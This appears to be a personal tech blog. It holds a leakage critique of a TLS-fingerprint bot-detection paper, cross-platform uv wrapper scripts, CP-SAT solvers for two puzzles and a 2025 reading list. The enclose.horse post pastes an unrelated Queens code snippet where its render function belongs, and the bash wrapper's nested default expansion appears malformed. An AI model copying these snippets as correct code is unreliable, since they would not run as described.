Bed Against The Wall

Tabular ML: Solved, But Still Risky

2026-08-04T14:14:00+02:00

Right before the arrival of the first LLMs, I co-authored a book on Model Risk from a machine learning perspective. Rather than taking a (purely) financial view on the topic, we wanted to break open the term Model Risk to cover all predictive modelling failure cases that lead to harm down the line. The book covered problems such as data leakage and incorrect model use, failures caused by ignoring the wider organizational needs or culture and even included some early deep learning aspects such as buggy digital twins and faulty reward functions. At some point there was an opportunity to write a second edition to cover all the hot new AI aspects going on, but that did not happen in the end. One of the reasons was that the field now evolves so fast that it is hard to cover with a static book. Book publishing itself has become a source of risk due to “AI slop” (I’m a heavy user of AI tools myself, but the slop has been a negative).

Anyway, my latent feeling nowadays has settled on the notion that tabular learning is more or less solved. We all know how to set up the pipelines, throw XGBoost or your favorite booster on top of it (or TabPFN/Net/FM if you want to be extra fancy) and be done with it. No one would dare to make those old-fashioned mistakes anymore today, especially when it’s Claude doing the coding, right?

In an “Advanced Analytics” course I’ve been teaching since 2017 (oof), we (meaning me and each year’s new cohort of students) have been going through a similar flow. From explaining new ML models (Random Forest after starting from SVMs) to the importance of thinking about validation and generalization (test set, not goodness of fit), to talking about production and MLOps, from Big Data and Hadoop to just using Snowflake, to the arrival of LLMs and ultimately accepting that tabular learning is solved and perhaps even all of ML is solved once AI becomes good enough that it can just do 99% of the work we did manually before anyway. It’s been a wild ride.

A while ago, I came across the following article: Post-Quantum TLS and Wire-Level Fingerprints Broke the Basic Scraper. It’s at the intersection of two things I like: scraping and ML. The article mainly leverages an arXiv paper to show that your simple ways of scraping are easy to spot and hence you should buy our product. Fun observation number one is that the article was clearly written by AI:

This is the part most bot detection tutorials skip. Most posts on anti-bot evasion still revolve around User-Agent rotation, cookies, and CAPTCHAs. Those are the easy layers. But the connection layer is the one you can’t bluff with a header.

I don’t want to be too critical here. We all use AI nowadays. I’m not sure whether it actively improves engagement or sales, but perhaps there is still an untapped or unaware audience for which the AI writing style works.

The paper they refer to, “When Handshakes Tell the Truth: Detecting Web Bad Bots via TLS Fingerprints” shows incredible results:

Uses TLS fingerprint signals (JA4DB) to predict whether a website visitor is a bot or benign
Labeling is a bit weak based on the user agent self-reporting it’s a bot, but that’s fair
Features include OS, app, a unique TLS cipher fingerprint, etc.
99%+ ROC AUC with XGBoost or CatBoost
Random train/test split

This figure from the paper makes it more or less clear which features were used:

With these being the most important ones:

99%+ ROC AUC is certainly spectacular. Or as the celebratory blog post put it:

98.6%. That’s the classification accuracy a CatBoost model hit using only connection-level features. No headers. No IPs. No behavior. Just the shape of the initial handshake.

Thanks Claude (or GPT, or…). It’s unfair to expect it, but I still find it appalling how little LLMs push back and apparently don’t go “Wow, wait a second, I’m not sure whether I’d use this paper. Seems too good to be true.” Even with a more open-ended prompt, it might take some time. These are all the questions I went through with a fresh GPT 5.5 session after having given it the paper:

I want to ask questions about this paper Reply: It’s “When Handshakes Tell the Truth: Detecting Web Bad Bots via TLS Fingerprints”, about using JA4 TLS fingerprints plus XGBoost/CatBoost to distinguish malicious bots from benign/human traffic. The paper reports very high test performance, with CatBoost slightly ahead: AUC 0.998, F1 0.9734, accuracy 0.9863. Ask me anything about it: summary, methodology, critique, assumptions, threat model, results, weaknesses, or how convincing the ML setup is. the most important feature is which one? Reply: (more blabbering) ja4_b — what is this exactly? (me trying to help it) Reply: ja4_b is the “middle” part of a JA4 TLS client fingerprint: a hash of the client’s offered cipher suites. And the way the train/test split is done is 80/20? Reply: Yes. The paper says the data was split into 80% training and 20% test, using a fixed random seed for consistency. (more blabbering) One important critique: the paper does not clearly say whether the split was done in a way that prevents the same or near-identical ja4_b / JA4 fingerprints from appearing in both train and test. If identical fingerprint categories occur in both sets, the model may partly be learning a lookup table of known fingerprints rather than generalizing to unseen bots.

Ah, finally it gets the issue, but we had to push sufficiently long. Ok, let’s see if we can reproduce and show that this is an issue. At least that part does go very fast with an LLM.

The original JA4DB download endpoint (https://ja4db.com/api/download/) has disappeared, but I was able to fetch the original JSON dump in time and have placed it here. It contains 195,622 records, almost all of which have a usable JA4 fingerprint. I reconstructed the label from the application and user-agent text, following the general idea in the paper, and removed user agents matching known good bots. The resulting data contains 141,954 rows and 28,130 bad-bot labels, a positive rate of 19.8%. Note that the labeling rules are my own reconstruction of what the paper describes, and I deliberately restricted the model features to information parsed from JA4. The absolute scores should therefore not be compared too literally with those in the paper. The behavior under different train/test splits is the part I care about.

I started with a random row split, similar to what the paper does. I then grouped rows on the full JA4 fingerprint so that one fingerprint could only occur on one side of the train/test divide. A stricter version groups on the combined ja4_b + ja4_c hash pair. I ran every split with all JA4 fields and then without the two hash fields. The latter still gets the protocol fields and the counts encoded in the first part of JA4.

The result is as follows. All threshold-dependent metrics use the default probability threshold of 0.5. Model used is just CatBoost with default hyperparams, no tuning.

Split	Features	Test bot rate	ROC AUC	F1	Precision	Recall	Accuracy
Random rows	All JA4	19.8%	0.986	0.890	0.930	0.853	0.958
Random rows	No hashes	19.8%	0.978	0.860	0.881	0.841	0.946
Group by full JA4	All JA4	14.0%	0.676	0.185	0.912	0.103	0.873
Group by full JA4	No hashes	14.0%	0.811	0.226	0.400	0.158	0.849
Group by `ja4_b + ja4_c`	All JA4	3.4%	0.730	0.074	0.403	0.041	0.966
Group by `ja4_b + ja4_c`	No hashes	3.4%	0.591	0.179	0.170	0.188	0.942

The random split’s 0.986 AUC gets close to the paper’s reported 0.998. However, the overlap diagnostic makes this less impressive. Of the unique JA4 fingerprints in the random test set, 90.3% (!) also occur in training. Because the common fingerprints contain many rows, 99.7% of all test rows have a full JA4 value that the model has already seen.

The 141,954 modeled rows contain only 1,131 distinct full fingerprints. The most common fingerprint accounts for 11.5% of the data. The ten largest account for 46.8%. There are 140 fingerprints associated with both labels, and these mixed-label fingerprints cover 66.3% of all rows. Since rows with the same full JA4 have identical model features, the model cannot separate them. What it can learn under a random split is the historical bot rate associated with a familiar TLS configuration.

Once full fingerprints are kept on one side of the split, AUC drops from 0.986 to 0.676! Grouping on the hash pair gives an AUC of 0.730. That’s some signal, but it is a different result from a random row split where almost every test row belongs to a known fingerprint family.

Removing ja4_b and ja4_c does surprisingly little under the random split: AUC moves from 0.986 to 0.978. Direct memorization of those two hashes is therefore only part of the story. The coarse fields carry a lot of client-family information themselves. In fact, a dumb model using cipher_count only reaches an AUC of 0.903 on a random split! Bad-bot rows have an average cipher count of 22.0, compared with 17.9 for benign rows. The relationship also has strong local buckets. A cipher count of 30 occurs 16,410 times and has a bad-bot rate of 70.9%; a cipher count of 9 occurs 7,041 times and is 97.5% bad-bot. This might be a true stable signal. Perhaps bots use particular installations or package versions and so forth that cause this exact cipher count.

But here too, the grouped splits tell a different story. Under the strictest split (grouping on ja4_b + ja4_c), the no-hash model falls to an AUC of 0.591, barely above chance. So on unseen hash-pair families, the coarse JA4 fields by themselves carry almost no transferable signal, and a simple monotonic rule on cipher_count is weak as well (AUC 0.61 for “high cipher count means bot”). The strong cipher-count buckets learned under a random split are largely properties of fingerprint families that are already represented in training.

In any case, whilst TLS fingerprints do contain useful information about the labels in this database, what the random split measures is largely performance on more observations from fingerprint families that were already represented in training. It provides weak evidence for how the model will generalize to new client families or approaches. Which is exactly bound to appear in scenarios where you present your work to catch “bad bots”.

Hence that would be the true generalization question an anti-bot model has to answer. So the old question of what exactly is allowed to appear on both sides of the train/test split is still important, no? Tabular ML may be solved, but we should still be careful not to use it wrongly.

Keeping uv Virtual Environments Out of Google Drive

2026-07-17T18:41:00+02:00

I have a nasty habbit of starting quick new Python projects somewhere in my chronologically organized Google Drive, uv init-ing them, and start adding packages.

By default, this means every project gets a .venv directory alongside its pyproject.toml. That works perfectly on a single machine. It also works as intended if you sync your projects with e.g. GitHub as those local .venv folders are just ignored. It’s less pleasant when the project directory lives in Google Drive, Dropbox, OneDrive, pCloud, or another synchronized folder and you switch between machines often. A Python virtual environment contains thousands of small files, compiled binaries, interpreter-specific paths, and platform-specific packages. Synchronizing it creates two problems. First, the sync client spends a disproportionate amount of time processing .venv (and a lot of sync engines hate a lot of small files). Second, a virtual environment created on Windows will not work correctly on macOS or Linux, which also causes uv run complaints.

The solution would be to stop putting project folders in Google Drive and just use Git. But I’m stubborn and don’t want to start a new repo for any small experiment or idea that more often than not turns out to go nowhere.

So my ideal setup is therefore:

Google Drive:
- project/
  - pyproject.toml
  - uv.lock
  - .python-version
  - src/
  - README.MD
  - …
Local machine (somewhere and somehow):
- uv-project-envs/
  - project-a1b2c3d4e5f6/

At the same time, I still want to type: uv run python main.py, uv sync or uv add pandas (or more often: want AI agents to run this if they want to without issue). I do not want to remember --active or teach every coding agent to use a custom command or flag. It should also work on all platforms and not rely on symlink hocus pocus.

And thus, the solution is to put a small wrapper named uv earlier in the system PATH. This wrapper should find the current project root, create a short hash from the project’s absolute path, set UV_PROJECT_ENVIRONMENT to a machine-local directory and then call the real uv executable (which picks up UV_PROJECT_ENVIRONMENT). Renaming or moving the project creates a new local environment, but that’s ok and even desirable.

Setup

Make sure each project includes a Python version pin: e.g. uv python pin 3.12, i.e. that you have a .python-version. Normally this is already the case for uv projects. Also, it’s a good idea to still add .venv to .gitignore even though the wrapper will no longer create it.

macOS and Linux

Locate the real uv executable using command -v uv (I’ll use /Users/seppe/.local/bin/uv)
mkdir -p "$HOME/bin or another directory where we will make the wrapper
nano "$HOME/bin/uv" and paste the script below
chmod +x "$HOME/bin/uv"
Put the wrapper first in PATH
- For macOS using zsh, add this to ~/.zprofile: export PATH="$HOME/bin:$PATH"
- For Linux, add it to ~/.profile: export PATH="$HOME/bin:$PATH"
- Depending on how the Linux terminal starts Bash, it may also be useful to add the same line to ~/.bashrc
- source ~/.zprofile or source ~/.profile or open a new Terminal
type -a uv to verify the wrapper appears first uv --version to make sure uv works

Script $HOME/bin/uv:

#!/usr/bin/env bash
set -euo pipefail

# === IMPORTANT =========================================
# Replace this with the result of:
# command -v uv
REAL_UV="/absolute/path/to/the/real/uv"

if [[ ! -x "$REAL_UV" ]]; then
    echo "uv wrapper: real uv executable not found at:" >&2
    echo "  $REAL_UV" >&2
    echo "Update REAL_UV in $0." >&2
    exit 1
fi

find_project_root() {
    local dir="$PWD"
    local candidate=""

    while true; do
        # A lockfile is the strongest indication of the actual uv root.
        # This also behaves more sensibly for uv workspaces.
        if [[ -f "$dir/uv.lock" ]]; then
            printf '%s\n' "$dir"
            return
        fi

        # Remember the nearest project marker in case there is no lockfile yet.
        if [[ -z "$candidate" ]] && {
            [[ -f "$dir/pyproject.toml" ]] ||
            [[ -f "$dir/uv.toml" ]] ||
            [[ -f "$dir/.python-version" ]];
        }; then
            candidate="$dir"
        fi

        if [[ "$dir" == "/" ]]; then
            break
        fi

        dir="$(dirname "$dir")"
    done

    printf '%s\n' "$candidate"
}

project_root="$(find_project_root)"

# Outside a Python project, behave exactly like the real uv command.
if [[ -z "$project_root" ]]; then
    exec "$REAL_UV" "$@"
fi

# macOS normally provides shasum; Linux normally provides sha256sum.
if command -v sha256sum >/dev/null 2>&1; then
    project_hash="$(
        printf '%s' "$project_root" |
        sha256sum |
        cut -c1-12
    )"
elif command -v shasum >/dev/null 2>&1; then
    project_hash="$(
        printf '%s' "$project_root" |
        shasum -a 256 |
        cut -c1-12
    )"
else
    echo "uv wrapper: sha256sum or shasum is required." >&2
    exit 1
fi

project_name="$(
    basename "$project_root" |
    tr -cd '[:alnum:]_.-'
)"

if [[ -z "$project_name" ]]; then
    project_name="project"
fi

env_root="${
    UV_LOCAL_ENV_ROOT:-${
        XDG_DATA_HOME:-$HOME/.local/share
    }/uv-project-envs
}"

mkdir -p "$env_root"
export UV_PROJECT_ENVIRONMENT="$env_root/${project_name}-${project_hash}"
exec "$REAL_UV" "$@"

Windows

On Windows, the most compatible solution is a small uv.cmd launcher combined with a PowerShell script. Using a .cmd launcher means the wrapper can be found by: PowerShell, Command Prompt, VS Code terminals, etc.

Locate the real uv executable using (Get-Command uv.exe).Source (I’ll use C:\Users\Seppe\.local\bin\uv.exe)
New-Item -ItemType Directory -Force "$env:USERPROFILE\bin" or another directory where we will make the wrapper
notepad "$env:USERPROFILE\bin\uv-wrapper.ps1" and paste the script below
notepad "$env:USERPROFILE\bin\uv.cmd" and paste the second script below
Put the wrapper first in PATH
- “Edit environment variables for your account”
- Add %USERPROFILE%\bin and make sure it is above the uv path
- Close all open terminals
Get-Command uv -All to verify the wrapper appears first uv --version to make sure uv works

Script $env:USERPROFILE\bin\uv-wrapper.ps1:

$ErrorActionPreference = "Stop"

# === IMPORTANT =========================================
# Replace this with the result of:
# (Get-Command uv.exe).Source
$RealUv = "C:\absolute\path\to\the\real\uv.exe"

if (-not (Test-Path -LiteralPath $RealUv -PathType Leaf)) {
    Write-Error "uv wrapper: real uv executable not found at: $RealUv"
    exit 1
}

function Find-UvProjectRoot {
    $dir = (Get-Location).ProviderPath
    $candidate = $null

    while ($true) {
        $lockfile = Join-Path $dir "uv.lock"

        # Prefer the nearest uv.lock. This is also more suitable
        # for projects contained in a uv workspace.
        if (Test-Path -LiteralPath $lockfile -PathType Leaf) {
            return $dir
        }

        $hasProjectMarker = (
            (Test-Path -LiteralPath (Join-Path $dir "pyproject.toml") -PathType Leaf) -or
            (Test-Path -LiteralPath (Join-Path $dir "uv.toml") -PathType Leaf) -or
            (Test-Path -LiteralPath (Join-Path $dir ".python-version") -PathType Leaf)
        )

        if ($null -eq $candidate -and $hasProjectMarker) {
            $candidate = $dir
        }

        $parent = Split-Path -Path $dir -Parent

        if (
            [string]::IsNullOrEmpty($parent) -or
            $parent -eq $dir
        ) {
            break
        }

        $dir = $parent
    }

    return $candidate
}

$projectRoot = Find-UvProjectRoot

# Outside a project, call the real uv normally.
if ([string]::IsNullOrWhiteSpace($projectRoot)) {
    & $RealUv @args
    exit $LASTEXITCODE
}

# Windows paths are case-insensitive, so normalize the path before hashing.
$normalizedRoot = [System.IO.Path]::GetFullPath($projectRoot)
$normalizedRoot = $normalizedRoot.TrimEnd([char]'\')
$normalizedRoot = $normalizedRoot.ToLowerInvariant()

$bytes = [System.Text.Encoding]::UTF8.GetBytes($normalizedRoot)
$sha = [System.Security.Cryptography.SHA256]::Create()

try {
    $hashBytes = $sha.ComputeHash($bytes)
}
finally {
    $sha.Dispose()
}

$projectHash = (
    $hashBytes |
    ForEach-Object { $_.ToString("x2") }
) -join ""

$projectHash = $projectHash.Substring(0, 12)

$projectName = Split-Path -Path $projectRoot -Leaf
$projectName = $projectName -replace '[^A-Za-z0-9_.-]', ''

if ([string]::IsNullOrWhiteSpace($projectName)) {
    $projectName = "project"
}

if ([string]::IsNullOrWhiteSpace($env:UV_LOCAL_ENV_ROOT)) {
    $envRoot = Join-Path $env:LOCALAPPDATA "uv-project-envs"
}
else {
    $envRoot = $env:UV_LOCAL_ENV_ROOT
}

New-Item -ItemType Directory -Force -Path $envRoot |
    Out-Null

$projectEnvironment = Join-Path `
    $envRoot `
    "$projectName-$projectHash"

$previousProjectEnvironment = $env:UV_PROJECT_ENVIRONMENT
$exitCode = 1

try {
    $env:UV_PROJECT_ENVIRONMENT = $projectEnvironment

    & $RealUv @args
    $exitCode = $LASTEXITCODE
}
finally {
    if ($null -eq $previousProjectEnvironment) {
        Remove-Item `
            Env:\UV_PROJECT_ENVIRONMENT `
            -ErrorAction SilentlyContinue
    }
    else {
        $env:UV_PROJECT_ENVIRONMENT = $previousProjectEnvironment
    }
}

exit $exitCode

Script $env:USERPROFILE\bin\uv.cmd:

@echo off
REM You can also use pwsh.exe if PowerShell 7 is installed / preferred
powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -File "%~dp0uv-wrapper.ps1" %*
exit /b %ERRORLEVEL%

Notes

The main reason for naming the wrapper uv, rather than something like uvw, is compatibility with automated tools
Important caveat: uv pip. UV_PROJECT_ENVIRONMENT applies to uv’s project workflow, but it does not affect the low-level uv pip interface. When this usage is required, explicitly activate the environment first
Uninstall: simply remove from path, delete wrapper scripts and clean up uv-project-envs folder

Solving Enclose.Horse With CP-SAT

2026-01-07T18:54:00+01:00

Yesterday (6 Jan), someone showed off a small clever puzzle game on Hacker News, called enclose.horse.

An example puzzle looks like this:

The game is played on a grid of grass or water tiles. The goal is to place walls so that the horse cannot escape (i.e. exit the map) whilst keeping the area of the enclosure as large as possible.

(By “escape”, we mean here that no path should exist between the horse and the map border. There are no time dynamics present here; as this seemed to confused some readers of the HN post.)

Walls can only be placed on grass tiles, and the horse cannot traverse over water either. The neighborhood is a von Neumann one. The score is calculated as the number of tiles in the enclosure (including the one the horse stands on). Interesting extra: tiles can also contain a cherry, on which no walls can be placed either but which add an additional three points if they are within the enclosure.

Just as I’ve done in the past, I wanted to have a quick stab towards finding the optimal solution using the CP-SAT constraint programming solver, which is part of Google’s OR Tools. My initial feeling was that the “flood fill” would be hard to tackle and/or the solve time would be large for this grid size, but CP-SAT has no trouble with it.

First, we perform some necessary imports, load in a level from a daily, and parse the map:

from ortools.sat.python import cp_model
import requests


def parse_map(map_str: str):
    lines = [ln.rstrip("\n") for ln in map_str.splitlines() if ln.strip() != ""]
    if not lines:
        raise ValueError("Empty map string")

    N = len(lines[0])
    for k, ln in enumerate(lines):
        if len(ln) != N:
            raise ValueError(f"Ragged map: line {k} has len {len(ln)} != {N}")

    M = len(lines)
    grid_water = [[0] * N for _ in range(M)]
    is_cherry = [[0] * N for _ in range(M)]
    horse_pos = None

    for i, ln in enumerate(lines):
        for j, ch in enumerate(ln):
            if ch == "~":
                grid_water[i][j] = 1
            elif ch == "H":
                if horse_pos is not None:
                    raise ValueError("Multiple horses 'H' found")
                horse_pos = (i, j)
            elif ch == "C":
                is_cherry[i][j] = 1
            # '.' or anything else -> empty

    if horse_pos is None:
        raise ValueError("No horse 'H' found")

    return lines, grid_water, horse_pos, is_cherry


if __name__ == "__main__":
    url = "https://enclose.horse/api/daily/2026-01-07"
    data = requests.get(url).json()

    print("Parsing map...")
    lines, grid_water, horse_pos, is_cherry = parse_map(data["map"])

    print("Solving...")
    status, score, walls, region = solve(
        grid_water, horse_pos, is_cherry, data["budget"], time_limit_s=30
    )

    print("Status:", status)
    print("Score:", score)
    print("Walls:", len(walls))
    print(render_solution(lines, grid_water, is_cherry, horse_pos, walls, region))

Next, we can implement the solve function itself:

def solve(grid_water, horse_pos, is_cherry, wall_budget, time_limit_s=10, log=False):
    M = len(grid_water)
    N = len(grid_water[0]) if M else 0
    hi, hj = horse_pos

    def in_bounds(i, j):
        return 0 <= i < M and 0 <= j < N

    def is_border(i, j):
        return i == 0 or j == 0 or i == M - 1 or j == N - 1

    if not in_bounds(hi, hj):
        raise ValueError("horse out of bounds")
    if grid_water[hi][hj] == 1:
        raise ValueError("horse cannot be on water")

    model = cp_model.CpModel()
    neighbors = [(1, 0), (-1, 0), (0, 1), (0, -1)]

    w, r, passable = {}, {}, {}

    for i in range(M):
        for j in range(N):
            water = (grid_water[i][j] == 1)
            cherry = (is_cherry[i][j] == 1)

            r[i, j] = model.NewBoolVar(f"r_{i}_{j}")

            if water:
                w[i, j] = model.NewConstant(0)
                passable[i, j] = model.NewConstant(0)
                model.Add(r[i, j] == 0)
                continue

            # No walls on horse/cherry
            if (i, j) == (hi, hj) or cherry:
                w[i, j] = model.NewConstant(0)
            else:
                w[i, j] = model.NewBoolVar(f"w_{i}_{j}")

            # For non-water: passable + wall = 1
            passable[i, j] = model.NewBoolVar(f"p_{i}_{j}")
            model.Add(passable[i, j] + w[i, j] == 1)

            # Reachable implies passable
            model.Add(r[i, j] <= passable[i, j])

    # Horse must be reachable
    model.Add(r[hi, hj] == 1)

    # Constrict hore: no reachable border
    for i in range(M):
        for j in range(N):
            if is_border(i, j):
                model.Add(r[i, j] == 0)

    # Wall budget
    model.Add(sum(w[i, j] for i in range(M) for j in range(N)) <= wall_budget)

    # r[u] ∧ passable[v] => r[v]
    for i in range(M):
        for j in range(N):
            for di, dj in neighbors:
                ni, nj = i + di, j + dj
                if in_bounds(ni, nj):
                    model.AddImplication(r[i, j], r[ni, nj]).OnlyEnforceIf(passable[ni, nj])

    # Objective: cherries add +3
    weights = {}
    for i in range(M):
        for j in range(N):
            if grid_water[i][j] == 1:
                weights[i, j] = 0
            else:
                weights[i, j] = 4 if is_cherry[i][j] == 1 else 1

    model.Maximize(
        sum(weights[i, j] * r[i, j] for i in range(M) for j in range(N))
    )

    solver = cp_model.CpSolver()
    solver.parameters.max_time_in_seconds = float(time_limit_s)
    solver.parameters.log_search_progress = bool(log)
    solver.parameters.log_to_stdout = bool(log)

    status = solver.Solve(model)
    status_name = solver.StatusName(status)

    if status not in (cp_model.OPTIMAL, cp_model.FEASIBLE):
        return status_name, 0, set(), set()

    score = 0
    walls_set, reachable_set = set(), set()
    for i in range(M):
        for j in range(N):
            if solver.Value(r[i, j]) == 1:
                reachable_set.add((i, j))
                score += weights[i, j]
            if grid_water[i][j] == 0 and is_cherry[i][j] == 0 and (i, j) != (hi, hj) and solver.Value(w[i, j]) == 1:
                walls_set.add((i, j))

    return status_name, score, walls_set, reachable_set

This base setup is actually rather simple. Our main decision boolean just determines where we place walls. Two auxiliary variables keep track of which tiles are reachable/passable.

The horse tile must be reachable
A tile being reachable implies it is passable
For each reachable tile and a passable neighbor, we imply that the neighbor is also reachable

Finally, we can render out the solution:

# No queens on the same diagonal
for r in range(ROWS - 1):
    for c in range(COLS):
        if c > 0:
            model.Add(solution[r + 1][c - 1] == 0).OnlyEnforceIf(solution[r][c])
        if c < COLS - 1:
            model.Add(solution[r + 1][c + 1] == 0).OnlyEnforceIf(solution[r][c])

And we can solve and print out a solution:

def render_solution(lines, grid_water, is_cherry, horse_pos, walls_set, reachable_set):
    M = len(lines)
    N = len(lines[0]) if M else 0
    hi, hj = horse_pos

    out = []
    for i in range(M):
        row = []
        for j in range(N):
            if (i, j) == (hi, hj):
                row.append("🐎")
            elif grid_water[i][j] == 1:
                row.append("🟦")
            elif (i, j) in walls_set:
                row.append("🧱")
            elif is_cherry[i][j] == 1:
                row.append("🍒")
            else:
                row.append("🍃" if (i, j) in reachable_set else "⬜")
        out.append("".join(row))
    return "\n".join(out)

This seems to work well:

Status: OPTIMAL
Score: 66
Walls: 12
🟦🟦⬜🧱🟦🟦🟦🧱🟦🟦🟦🟦
🟦🍒🧱🍒🍃🍃🍃🍃🍃🍃🍃🟦
⬜⬜🍒🧱🍃🍃🍃🍃🍃🟦🍃🧱
⬜🍒⬜🍒🟦🟦🍃🍃🟦🟦🍃🟦
🟦⬜🟦⬜🟦🟦🍃🍃🍃🍃🍃🟦
🟦⬜⬜🧱🍃🍃🍃🍃🍃🍃🍃🟦
⬜⬜⬜⬜🟦🍃🟦🟦🍃🍃🍃🟦
🟦⬜⬜⬜🟦🟦🐎🟦🍃🍃🍃🧱
🟦⬜⬜⬜⬜🧱🍃🍃🍃🍃🍃🧱
🟦⬜⬜⬜⬜⬜🟦🟦🍃🍃🍃🟦
⬜⬜🟦🟦⬜⬜🟦🟦🍒🍃🍒🟦
🟦⬜🟦⬜⬜⬜⬜⬜🧱🍒🍃🟦
🟦⬜⬜⬜⬜⬜⬜⬜🍒🧱🍒🟦
🟦⬜🟦🟦⬜🟦⬜🟦⬜⬜🧱🟦

And indeed as verified by the daily:

However, as a user pointed out to me, this can end up being problematic for maps such as this one:

Score: 53
Walls: 6
🟦🟦🟦🟦🟦🟦🟦🟦🟦🟦🟦🟦
🟦🍃🍃🍃🍃🍃🍃🍃🍃🍃🍃🟦
🟦🍃🍃🍃🍃🍃🍃🍃🍃🍃🍃🟦
🟦🍃🍃🍃🍃🍃🍃🍃🍃🍃🍃🟦
🟦🍃🍃🍃🍃🍃🍃🍃🍃🍃🍃🟦
🟦🍃🍃🍃🍃🍃🍃🍃🍃🍃🍃🟦
🟦🍃🟦🟦🟦🟦🟦🟦🟦🟦🍃🟦
⬜🧱⬜⬜⬜⬜⬜⬜⬜⬜🧱⬜
⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜
⬜⬜⬜⬜⬜🧱⬜⬜⬜⬜⬜⬜
⬜⬜⬜⬜🧱🐎🧱⬜⬜⬜⬜⬜
⬜⬜⬜⬜⬜🧱⬜⬜⬜⬜⬜⬜

The problem is the closing off of “horseless areas”, since the solver can freely assign these to be reachable as well, erroneously adding these to the objective.

Hence, we also need to add single flow commodity constraints, flowing from the horse:

    # Prevent unconnected island by single commodity flow
    K = M * N
    flows = {}
    neighbors = [(1,0), (-1,0), (0,1), (0,-1)]

    # directed edge flows
    for i in range(M):
        for j in range(N):
            for di, dj in neighbors:
                ni, nj = i + di, j + dj
                if 0 <= ni < M and 0 <= nj < N:
                    f = model.NewIntVar(0, K, f"f_{i}_{j}_to_{ni}_{nj}")
                    flows[(i, j, ni, nj)] = f
                    # We can only send flow along reachable & passable cells
                    model.Add(f <= K * r[i, j])
                    model.Add(f <= K * r[ni, nj])

    total_reached = sum(r[i, j] for i in range(M) for j in range(N))

    for i in range(M):
        for j in range(N):
            inflow = []
            outflow = []
            for di, dj in neighbors:
                pi, pj = i - di, j - dj
                ni, nj = i + di, j + dj
                if 0 <= pi < M and 0 <= pj < N:
                    inflow.append(flows[(pi, pj, i, j)])
                if 0 <= ni < M and 0 <= nj < N:
                    outflow.append(flows[(i, j, ni, nj)])

            if (i, j) == (hi, hj):
                # Horse supplies exactly total_reached - 1
                model.Add(sum(outflow) - sum(inflow) == total_reached - 1)
            else:
                # Each reachable node consumes 1
                model.Add(sum(inflow) - sum(outflow) == r[i, j])

Solving again, we now get the true correct solution:

Score: 2
Walls: 6
🟦🟦🟦🟦🟦🟦🟦🟦🟦🟦🟦🟦
🟦⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜🟦
🟦⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜🟦
🟦⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜🟦
🟦⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜🟦
🟦⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜🟦
🟦⬜🟦🟦🟦🟦🟦🟦🟦🟦⬜🟦
⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜
⬜⬜⬜⬜⬜🧱🧱⬜⬜⬜⬜⬜
⬜⬜⬜⬜🧱🐎🍃🧱⬜⬜⬜⬜
⬜⬜⬜⬜⬜🧱🧱⬜⬜⬜⬜⬜

Books I’ve Read in 2025

2026-01-07T12:00:00+01:00

Last year: 2025, and doing this again this year.

Not so many books as the year before, sadly, but overall still a good haul of books I read this year:

Title	Year	Author	Rating
Not a Speck of Light: Stories	2024	Laird Barron	good
The City and Its Uncertain Walls	2023	Haruki Murakami	great
The Wager	2023	David Grann	great
Babel	2022	R.F. Kuang	great
Zoo	2003	Otsuichi	good
All Systems Red	2017	Marta Wells	bad
Goth	2002	Otsuichi	good
Our Mathematical Universe	2012	Max Tegmark	good
Immaculate Conception	2025	Ling Ling Huang	great
Intermittent Living	2023	Siebe Hannosset	ok
De verovering van Belgie	2025	Wouter Verschelden	good
Wonder Drug	2025	Jennifer Vanderbes	great
Queen of All Mayhem	2025	Dane Huckelbridge	good
The Devils	2025	Joe Abercrombie	great

Don’t read too much into the rating system, I’m using a generally bad-ok-good-great assignment (inspired by https://davidmytton.blog/reading/) but this is based mostly on subjective aspects.

Same as last year is a shift in genres as the year progresses. I am currently reading through Katabasis, so that will be the first book of next year.

Solving LinkedIn Queens With CP-SAT

2025-06-24T10:45:00+02:00

On LinkedIn, you can play a variant of the N-Queens problem. A community version of the puzzle can be found here.

An example puzzle looks like this:

The idea is that each row, column, and colored region must contain exactly one queen. Queens cannot be placed in adjacent cells, including diagonally.

Recently, we saw it solved using:

I wanted to solve it using the CP-SAT constraint programming solver, which is part of Google’s OR Tools.

Installing this in a Python environment is easy: uv add ortools requests.

Next, we set up some basic information and fetch a level:

from ortools.sat.python import cp_model
import requests
import re
import ast


level_source = requests.get(
    "https://raw.githubusercontent.com/samimsu/queens-game-linkedin/"
    + "refs/heads/main/src/utils/levels/level1.ts"
).text
match = re.search(
    r"colorRegions:\s*(\[[^\]]+\](?:,\s*\[[^\]]+\])*)", level_source, re.DOTALL
)

LEVEL = ast.literal_eval(f"{match.group(1)}]")
ZONES = set([letter for row in LEVEL for letter in row])
ROWS = len(LEVEL)
COLS = len(LEVEL[0])

I’m just grabbing the level file from the aforementioned community version of the puzzle. The other levels are in the GitHub repo.

Next, we set up the model and create boolean variables indicating whether a position has a queen or not:

model = cp_model.CpModel()
solution = [
    [model.NewBoolVar(f"x_{r}_{c}") for c in range(COLS)] for r in range(ROWS)
]

Next, we add the basic constraints: only one queen per row, column, and colored region:

# Exactly one per row
for r in range(ROWS):
    model.Add(sum(solution[r][c] for c in range(COLS)) == 1)

# Exactly one per column
for c in range(COLS):
    model.Add(sum(solution[r][c] for r in range(ROWS)) == 1)

# Exactly one per region
for letter in ZONES:
    model.Add(
        sum(
            solution[r][c]
            for r in range(ROWS)
            for c in range(COLS)
            if LEVEL[r][c] == letter
        )
        == 1
    )

Finally, queens cannot touch each other, including on the diagonals. Since the previous constraints already cover horizontal and vertical touching, we only need to prohibit a queen to be present diagonally in the row below a given queen. We don’t need to prohibit the row above as this is symmetric.

# No queens on the same diagonal
for r in range(ROWS - 1):
    for c in range(COLS):
        if c > 0:
            model.Add(solution[r + 1][c - 1] == 0).OnlyEnforceIf(solution[r][c])
        if c < COLS - 1:
            model.Add(solution[r + 1][c + 1] == 0).OnlyEnforceIf(solution[r][c])

And finally we can solve and print out a solution:

def pr_sol(sol, solution):
    for r in range(ROWS):
        for c in range(COLS):
            if sol.Value(solution[r][c]) > 0:
                print(f" *{LEVEL[r][c]}* ", end="")
            else:
                print(f"  {LEVEL[r][c].lower()}  ", end="")
